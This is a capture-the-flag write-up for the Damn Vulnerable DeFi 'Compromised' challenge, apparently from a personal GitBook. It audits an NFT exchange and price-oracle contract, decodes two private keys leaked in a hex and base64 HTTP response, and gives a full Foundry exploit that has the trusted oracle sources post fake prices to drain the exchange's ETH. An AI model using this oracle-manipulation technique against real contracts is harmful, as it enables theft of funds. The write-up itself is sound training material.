ctfwriteup
  • โœ…/home/ret2basic.eth
  • Game Hacking
    • ๐Ÿ‘‘Pwn Adventure 3: Pwnie Island
      • โœ…Prep: Speed Hack
      • โœ…Prep: Infinite Health and Mana (Offline)
      • โœ…Prep: Analyze Network Packets with Wireshark
      • Prep: Build a Proxy in Python
      • โœ…Until the Cows Come Home
      • Unbearable Revenge
      • Pirate's Treasure
    • Cheat Engine Tutorial
      • โœ…Step 1: Setup
      • โœ…Step 2: Scan for "Exact Value"
      • โœ…Step 3: Scan for "Unknown initial value"
      • โœ…Step 4: Scan for float and double
      • โœ…Step 5: Replace instruction
      • Step 6: Pointer scanning
      • Step 7: Code injection
      • Step 8: Multilevel pointers
      • Step 9: Shared code
  • Web3 CTF
    • ๐Ÿ‘‘Remedy CTF 2025 (Todo)
      • Diamond Heist
      • R vs Q
      • Rich Man's Bet
      • Casino Avengers
      • Frozen Voting
      • Lockdown
      • Proof of Thought
      • Maybe it's unnecessary?
      • Et tu, Permit2?
      • Not a very LUCKY TOKEN
      • risc4
      • HealthCheck as a Service
      • Restricted Proxy
      • Unstable Pool
      • Opaze Whisperer
      • "memorable" onlyOwner
      • World of Memecraft
      • Copy/Paste/Deploy
      • Peer-to-peer-to-me
      • Joe's Lending Mirage
      • Tokemak
      • OFAC Executive Order 13337
    • ๐Ÿ‘‘Paradigm CTF 2023 (Todo)
      • Oven
      • Dragon Tyrant
    • Damn Vulnerable DeFi
      • โœ…Unstoppable
      • โœ…Naive Receiver
      • โœ…Truster
      • โœ…Side Entrance
      • โœ…The Rewarder
      • โœ…Selfie
      • โœ…Compromised
      • โœ…Puppet
      • โœ…Puppet V2
      • โœ…Free Rider
      • Backdoor
      • Climber
      • Wallet Mining (Todo)
      • Puppet V3 (Todo)
      • ABI Smuggling (Todo)
    • Milotruck Challs
      • โœ…Greyhats Dollar
      • Escrow
      • Simple AMM Vault
      • Voting Vault
      • โœ…Meta Staking
      • โœ…Gnosis Unsafe
    • Secureum AMAZEX DSS Paris
      • โœ…Operation magic redemption
      • Mission Modern WETH: Rescue the Ether
      • LendEx pool hack
      • Operation Rescue POSI Token!
      • Balloon Vault
      • Safe Yield?
      • โœ…Crystal DAO
      • โœ…Liquidatoooor
    • โœ…Ethernaut
      • โœ…Hello Ethernaut
      • โœ…Fallback
      • โœ…Fallout
      • โœ…Coin Flip
      • โœ…Telephone
      • โœ…Token
      • โœ…Delegation
      • โœ…Force
      • โœ…Vault
      • โœ…King
      • โœ…Re-entrancy
      • โœ…Elevator
      • โœ…Privacy
      • โœ…Gatekeeper One
      • โœ…Gatekeeper Two
      • โœ…Naught Coin
      • โœ…Preservation
      • โœ…Recovery
      • โœ…MagicNumber
      • โœ…Alien Codex
      • โœ…Denial
      • โœ…Shop
      • โœ…DEX
      • โœ…DEX Two
      • โœ…Puzzle Wallet
      • Motorbike
      • DoubleEntryPoint
      • โœ…Good Samaritan
      • Gatekeeper Three
      • Switch
    • โœ…Flashbots MEV-Share CTF
    • โœ…Capture the Ether
      • โœ…Lotteries
      • โœ…Math
      • โœ…Miscellaneous
    • โœ…EVM Puzzles
      • โœ…Puzzle 1
      • โœ…Puzzle 2
      • โœ…Puzzle 3
      • โœ…Puzzle 4
      • โœ…Puzzle 5
      • โœ…Puzzle 6
      • โœ…Puzzle 7
      • โœ…Puzzle 8
      • โœ…Puzzle 9
      • โœ…Puzzle 10
    • โœ…More EVM Puzzles
      • โœ…Puzzle 1
      • โœ…Puzzle 2
      • โœ…Puzzle 3
      • โœ…Puzzle 4
      • โœ…Puzzle 5
      • โœ…Puzzle 6
      • โœ…Puzzle 7
      • โœ…Puzzle 8
      • โœ…Puzzle 9
      • โœ…Puzzle 10
    • โœ…QuillCTF
      • โœ…MetaToken
      • โœ…Temporary Variable
      • KeyCraft
      • โœ…Lottery
      • โœ…Private Club
      • Voting Machine
      • โœ…Predictable NFT
      • โœ…Invest Pool
      • PseudoRandom
      • โœ…Gold NFT
      • Slot Puzzle
      • Moloch's Vault
      • โœ…Donate
      • โœ…WETH-11
      • Panda Token
      • Gate
      • โœ…WETH10
      • โœ…Pelusa
      • โœ…True XOR
      • โœ…Collatz Puzzle
      • โœ…D31eg4t3
      • โœ…Safe NFT
      • โœ…VIP Bank
      • โœ…Confidential Hash
      • โœ…Road Closed
    • โœ…unhacked
      • โœ…reaper
  • RareSkills Puzzles
    • Solidity Exercises
    • Solidity Riddles
    • Yul Puzzles
      • โœ…01 - ReturnBool
      • โœ…02 - SimpleRevert
      • โœ…03 - Return42
      • โœ…04 - RevertWithError
      • โœ…05 - RevertWithSelectorPlusArgs
      • 06 - RevertWithPanic
    • Huff Puzzles
    • Uniswap V2 Puzzles
    • Zero Knowledge Puzzles
  • Web2 CTF
    • Grey Cat CTF 2024
      • โœ…Web Challs
    • pwn.college
      • Introduction
        • What is Computer Systems Security?
      • Program Interaction
        • Linux Command Line
        • ๐Ÿšฉembryoio
      • Program Misuse
        • Privilege Escalation
        • Mitigations
        • ๐Ÿšฉbabysuid
      • Assembly Refresher
        • x86 Assembly
        • ๐Ÿšฉembryoasm
      • Shellcoding
        • Introduction
        • Common Challenges
        • Data Execution Prevention
        • ๐Ÿšฉbabyshell
      • Sandboxing
        • chroot
        • seccomp
        • Escaping seccomp
        • ๐Ÿšฉbabyjail
      • Debugging Refresher
        • x86 Assembly
        • ๐Ÿšฉembryogdb
      • Binary Reverse Engineering
        • Functions and Frames
        • Data Access
        • Static Tools
        • Dynamic Tools
        • Real-world Applications
        • ๐Ÿšฉbabyrev
      • Memory Errors
        • High-Level Problems
        • Smashing the Stack
        • Causes of Corruption
        • Canary
        • ASLR
        • Causes of Disclosure
        • ๐Ÿšฉbabymem
      • Exploitation
        • Introduction
        • Hijacking to Shellcode
        • Side Effects
        • JIT Spray
        • ๐Ÿšฉtoddler1
      • Return Oriented Programming
        • Binary Lego
        • Techniques
        • Complications
        • ๐Ÿšฉbabyrop
      • Dynamic Allocator Misuse
        • What is the Heap?
        • Dangers of the Heap
        • tcache
        • Chunks and Metadata
        • Metadata Corruption
        • ๐Ÿšฉbabyheap
      • Race Conditions
        • Introduction
        • Races in the Filesystem
        • ๐Ÿšฉbabyrace
      • Kernel Security
        • Environment Setup
        • Kernel Modules
        • Privilege Escalation
        • ๐Ÿšฉbabykernel
      • Advanced Exploitation
        • toddler2
    • pwnable.kr
      • fd
      • collision
      • bof
      • flag
      • passcode
      • random
      • input
      • leg
      • mistake
      • shellshock
      • coin1
      • blackjack
      • lotto
      • cmd1
      • cmd2
      • uaf
      • memcpy
      • asm
      • unlink
      • blukat
      • horcruxes
    • ROP Emporium
      • ret2win
      • split
      • callme
      • write4
      • pivot
    • โœ…Jarvis OJ Pwn Xman Series
    • โœ…Jarvis OJ Crypto RSA Series
    • โœ…picoMini by redpwn
      • Binary Exploitation
      • Reverse Engineering
      • Cryptography
      • Web Exploitation
      • Forensics
    • โœ…picoCTF 2021
      • Reverse Engineering
      • Web Exploitation
      • Forensics
    • โœ…picoCTF 2020 Mini-Competition
  • Red Teaming
    • vulnlab
      • Active Directory Chains
        • โœ…Trusted (Easy)
        • Hybrid (Easy)
        • Lustrous (Medium)
        • Reflection (Medium)
        • Intercept (Hard)
      • Red Team Labs
        • Wutai (Medium)
        • Shinra (Hard)
    • Hack The Box
      • AD
        • Intelligence
        • Pivotapi
        • Sharp
        • Monteverde
        • Resolute
        • Endgame: P.O.O.
        • Forest
        • Sauna
        • Active
        • Blackfield
      • โœ…Linux
        • โœ…Safe (Easy)
        • โœ…Delivery (Easy)
        • โœ…TheNotebook (Medium)
        • โœ…Brainfuck (Insane)
    • TCM Windows Privilege Escalation Course
      • โœ…Hack The Box - Chatterbox (Medium)
      • Hack The Box - SecNotes (Medium)
    • โœ…TCM Linux Privilege Escalation Course
      • โœ…TryHackMe - Simple CTF (Easy)
      • โœ…TryHackMe - Vulnversity (Easy)
      • โœ…TryHackMe - CMesS (Medium)
      • โœ…TryHackMe - UltraTech (Medium)
      • โœ…TryHackMe - LazyAdmin (Easy)
      • โœ…TryHackMe - Anonymous (Medium)
      • โœ…TryHackMe - tomghost (Easy)
      • โœ…TryHackMe - ConvertMyVideo (Medium)
      • โœ…TryHackMe - Brainpan 1 (Hard)
Powered by GitBook
On this page
  • Description
  • TL;DR
  • Code Audit
  • Building PoC
  1. Web3 CTF
  2. Damn Vulnerable DeFi

Compromised

Description

While poking around a web service of one of the most popular DeFi projects in the space, you get a somewhat strange response from their server. Hereโ€™s a snippet:

HTTP/2 200 OK
content-type: text/html
content-language: en
vary: Accept-Encoding
server: cloudflare

4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35

4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34

A related on-chain exchange is selling (absurdly overpriced) collectibles called โ€œDVNFTโ€, now at 999 ETH each.

This price is fetched from an on-chain oracle, based on 3 trusted reporters: 0xA732...A105,0xe924...9D15 and 0x81A5...850c.

Starting with just 0.1 ETH in balance, pass the challenge by obtaining all ETH available in the exchange.

TL;DR

There are two trusted EOA addresses that can set NFT price. The private key can be obtained from the HTTP request in the challenge description, so we can impersonate the trusted EOA and set NFT price to 0 when we buy it and set the price super high when we sell it.

Code Audit

Exchange.buyOne():

    function buyOne() external payable nonReentrant returns (uint256) {
        uint256 amountPaidInWei = msg.value;
        if (amountPaidInWei == 0) revert ValueMustBeGreaterThanZero();

        // Price should be in [wei / NFT]
        uint256 currentPriceInWei = oracle.getMedianPrice(token.symbol());
        if (amountPaidInWei < currentPriceInWei) revert AmountPaidIsNotEnough();

        uint256 tokenId = token.safeMint(msg.sender);

        payable(msg.sender).sendValue(amountPaidInWei - currentPriceInWei);

        emit TokenBought(msg.sender, tokenId, currentPriceInWei);

        return tokenId;
    }

The price is fetched from oracle.getMedianPrice():

    function getMedianPrice(string calldata symbol) external view returns (uint256) {
        return _computeMedianPrice(symbol);
    }
    function _computeMedianPrice(string memory symbol) private view returns (uint256) {
        uint256[] memory prices = _sort(getAllPricesForSymbol(symbol));

        // calculate median price
        if (prices.length % 2 == 0) {
            uint256 leftPrice = prices[(prices.length / 2) - 1];
            uint256 rightPrice = prices[prices.length / 2];
            return (leftPrice + rightPrice) / 2;
        } else {
            return prices[prices.length / 2];
        }
    }
    function getAllPricesForSymbol(string memory symbol) public view returns (uint256[] memory) {
        uint256 numberOfSources = getNumberOfSources();
        uint256[] memory prices = new uint256[](numberOfSources);

        for (uint256 i = 0; i < numberOfSources; i++) {
            address source = getRoleMember(TRUSTED_SOURCE_ROLE, i);
            prices[i] = getPriceBySource(symbol, source);
        }

        return prices;
    }
    function getPriceBySource(string memory symbol, address source) public view returns (uint256) {
        return pricesBySource[source][symbol];
    }

Ok so the price is essentially set by "source". What is this "source"?

    function _setPrice(address source, string memory symbol, uint256 newPrice) private {
        uint256 oldPrice = pricesBySource[source][symbol];
        pricesBySource[source][symbol] = newPrice;
        emit UpdatedPrice(source, symbol, oldPrice, newPrice);
    }
    function postPrice(string calldata symbol, uint256 newPrice) external onlyTrustedSource {
        _setPrice(msg.sender, symbol, newPrice);
    }
    modifier onlyTrustedSource() {
        if (!hasRole(TRUSTED_SOURCE_ROLE, msg.sender)) {
            revert NotATrustedSource();
        }
        _;
    }

So "sources" are just some trusted EOA addresses. Essentially the logic is storing prices from all sources in an array and taking the median as the final price. Sounds like we can steal the private key somehow and manipulate the price.

Recall that there is a HTTP request in challenge description:

HTTP/2 200 OK
content-type: text/html
content-language: en
vary: Accept-Encoding
server: cloudflare

4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35

4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34

This indeed looks suspicious.

Try decoding them:

  • Step 1: Hex to ASCII:

    • 4d 48 68 6a 4e 6a 63 34 5a 57 59 78 59 57 45 30 4e 54 5a 6b 59 54 59 31 59 7a 5a 6d 59 7a 55 34 4e 6a 46 6b 4e 44 51 34 4f 54 4a 6a 5a 47 5a 68 59 7a 42 6a 4e 6d 4d 34 59 7a 49 31 4e 6a 42 69 5a 6a 42 6a 4f 57 5a 69 59 32 52 68 5a 54 4a 6d 4e 44 63 7a 4e 57 45 35 -> MHhjNjc4ZWYxYWE0NTZkYTY1YzZmYzU4NjFkNDQ4OTJjZGZhYzBjNmM4YzI1NjBiZjBjOWZiY2RhZTJmNDczNWE5

    • 4d 48 67 79 4d 44 67 79 4e 44 4a 6a 4e 44 42 68 59 32 52 6d 59 54 6c 6c 5a 44 67 34 4f 57 55 32 4f 44 56 6a 4d 6a 4d 31 4e 44 64 68 59 32 4a 6c 5a 44 6c 69 5a 57 5a 6a 4e 6a 41 7a 4e 7a 46 6c 4f 54 67 33 4e 57 5a 69 59 32 51 33 4d 7a 59 7a 4e 44 42 69 59 6a 51 34 -> MHgyMDgyNDJjNDBhY2RmYTllZDg4OWU2ODVjMjM1NDdhY2JlZDliZWZjNjAzNzFlOTg3NWZiY2Q3MzYzNDBiYjQ4

  • Step 2: Base64 decode

    • MHhjNjc4ZWYxYWE0NTZkYTY1YzZmYzU4NjFkNDQ4OTJjZGZhYzBjNmM4YzI1NjBiZjBjOWZiY2RhZTJmNDczNWE5 -> 0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9

    • MHgyMDgyNDJjNDBhY2RmYTllZDg4OWU2ODVjMjM1NDdhY2JlZDliZWZjNjAzNzFlOTg3NWZiY2Q3MzYzNDBiYjQ4 -> 0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48

Seems like we get two private keys here.

Building PoC

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0;

import "forge-std/Test.sol";

import {Exchange} from "../../../src/Contracts/compromised/Exchange.sol";
import {TrustfulOracle} from "../../../src/Contracts/compromised/TrustfulOracle.sol";
import {TrustfulOracleInitializer} from "../../../src/Contracts/compromised/TrustfulOracleInitializer.sol";
import {DamnValuableNFT} from "../../../src/Contracts/DamnValuableNFT.sol";

contract Compromised is Test {
    uint256 internal constant EXCHANGE_INITIAL_ETH_BALANCE = 9990e18;
    uint256 internal constant INITIAL_NFT_PRICE = 999e18;

    Exchange internal exchange;
    TrustfulOracle internal trustfulOracle;
    TrustfulOracleInitializer internal trustfulOracleInitializer;
    DamnValuableNFT internal damnValuableNFT;
    address payable internal attacker;

    function setUp() public {
        address[] memory sources = new address[](3);

        sources[0] = 0xA73209FB1a42495120166736362A1DfA9F95A105;
        sources[1] = 0xe92401A4d3af5E446d93D11EEc806b1462b39D15;
        sources[2] = 0x81A5D6E50C214044bE44cA0CB057fe119097850c;

        attacker = payable(address(uint160(uint256(keccak256(abi.encodePacked("attacker"))))));
        vm.deal(attacker, 0.1 ether);
        vm.label(attacker, "Attacker");
        assertEq(attacker.balance, 0.1 ether);

        // Initialize balance of the trusted source addresses
        uint256 arrLen = sources.length;
        for (uint8 i = 0; i < arrLen;) {
            vm.deal(sources[i], 2 ether);
            assertEq(sources[i].balance, 2 ether);
            unchecked {
                ++i;
            }
        }

        string[] memory symbols = new string[](3);
        for (uint8 i = 0; i < arrLen;) {
            symbols[i] = "DVNFT";
            unchecked {
                ++i;
            }
        }

        uint256[] memory initialPrices = new uint256[](3);
        for (uint8 i = 0; i < arrLen;) {
            initialPrices[i] = INITIAL_NFT_PRICE;
            unchecked {
                ++i;
            }
        }

        // Deploy the oracle and setup the trusted sources with initial prices
        trustfulOracle = new TrustfulOracleInitializer(
            sources,
            symbols,
            initialPrices
        ).oracle();

        // Deploy the exchange and get the associated ERC721 token
        exchange = new Exchange{value: EXCHANGE_INITIAL_ETH_BALANCE}(
            address(trustfulOracle)
        );
        damnValuableNFT = exchange.token();

        console.log(unicode"๐Ÿงจ Let's see if you can break it... ๐Ÿงจ");
    }

    function singleRound(address user1, address user2) public {
        vm.prank(user1);
        trustfulOracle.postPrice("DVNFT", 0.1 ether);
        vm.prank(user2);
        trustfulOracle.postPrice("DVNFT", 0.1 ether);

        vm.prank(attacker);
        uint256 tokenId = exchange.buyOne{value: 0.1 ether}();
        
        vm.prank(user1);
        trustfulOracle.postPrice("DVNFT", 999 ether);
        vm.prank(user2);
        trustfulOracle.postPrice("DVNFT", 999 ether);

        vm.startPrank(attacker);
        damnValuableNFT.approve(address(exchange), tokenId);
        exchange.sellOne(tokenId);
        vm.stopPrank();
    }

    function lastRound(address user1, address user2) public {
        vm.prank(user1);
        trustfulOracle.postPrice("DVNFT", 0.1 ether);
        vm.prank(user2);
        trustfulOracle.postPrice("DVNFT", 0.1 ether);

        vm.prank(attacker);
        uint256 tokenId = exchange.buyOne{value: 0.1 ether}();
        
        vm.prank(user1);
        trustfulOracle.postPrice("DVNFT", 1000 ether);
        vm.prank(user2);
        trustfulOracle.postPrice("DVNFT", 1000 ether);

        vm.startPrank(attacker);
        damnValuableNFT.approve(address(exchange), tokenId);
        exchange.sellOne(tokenId);
        vm.stopPrank();

        vm.prank(user1);
        trustfulOracle.postPrice("DVNFT", 999 ether);
        vm.prank(user2);
        trustfulOracle.postPrice("DVNFT", 999 ether);
    }

    function testExploit() public {
        /**
         * EXPLOIT START *
         */
        address user1 = vm.addr(0xc678ef1aa456da65c6fc5861d44892cdfac0c6c8c2560bf0c9fbcdae2f4735a9);
        address user2 = vm.addr(0x208242c40acdfa9ed889e685c23547acbed9befc60371e9875fbcd736340bb48);
        console.log("user1 address: ", user1);
        console.log("user2 address: ", user2);

        for (int i = 0; i < 9; i++) {
            singleRound(user1, user2);
        }

        lastRound(user1, user2);

        /**
         * EXPLOIT END *
         */
        validation();
        console.log(unicode"\n๐ŸŽ‰ Congratulations, you can go to the next level! ๐ŸŽ‰");
    }

    function validation() internal {
        // Exchange must have lost all ETH
        assertEq(address(exchange).balance, 0);

        // Attacker's ETH balance must have significantly increased
        assertGt(attacker.balance, EXCHANGE_INITIAL_ETH_BALANCE);

        // Attacker must not own any NFT
        assertEq(damnValuableNFT.balanceOf(attacker), 0);

        // NFT price shouldn't have changed
        assertEq(trustfulOracle.getMedianPrice("DVNFT"), INITIAL_NFT_PRICE);
    }
}
PreviousSelfieNextPuppet

Last updated 1 year ago

โœ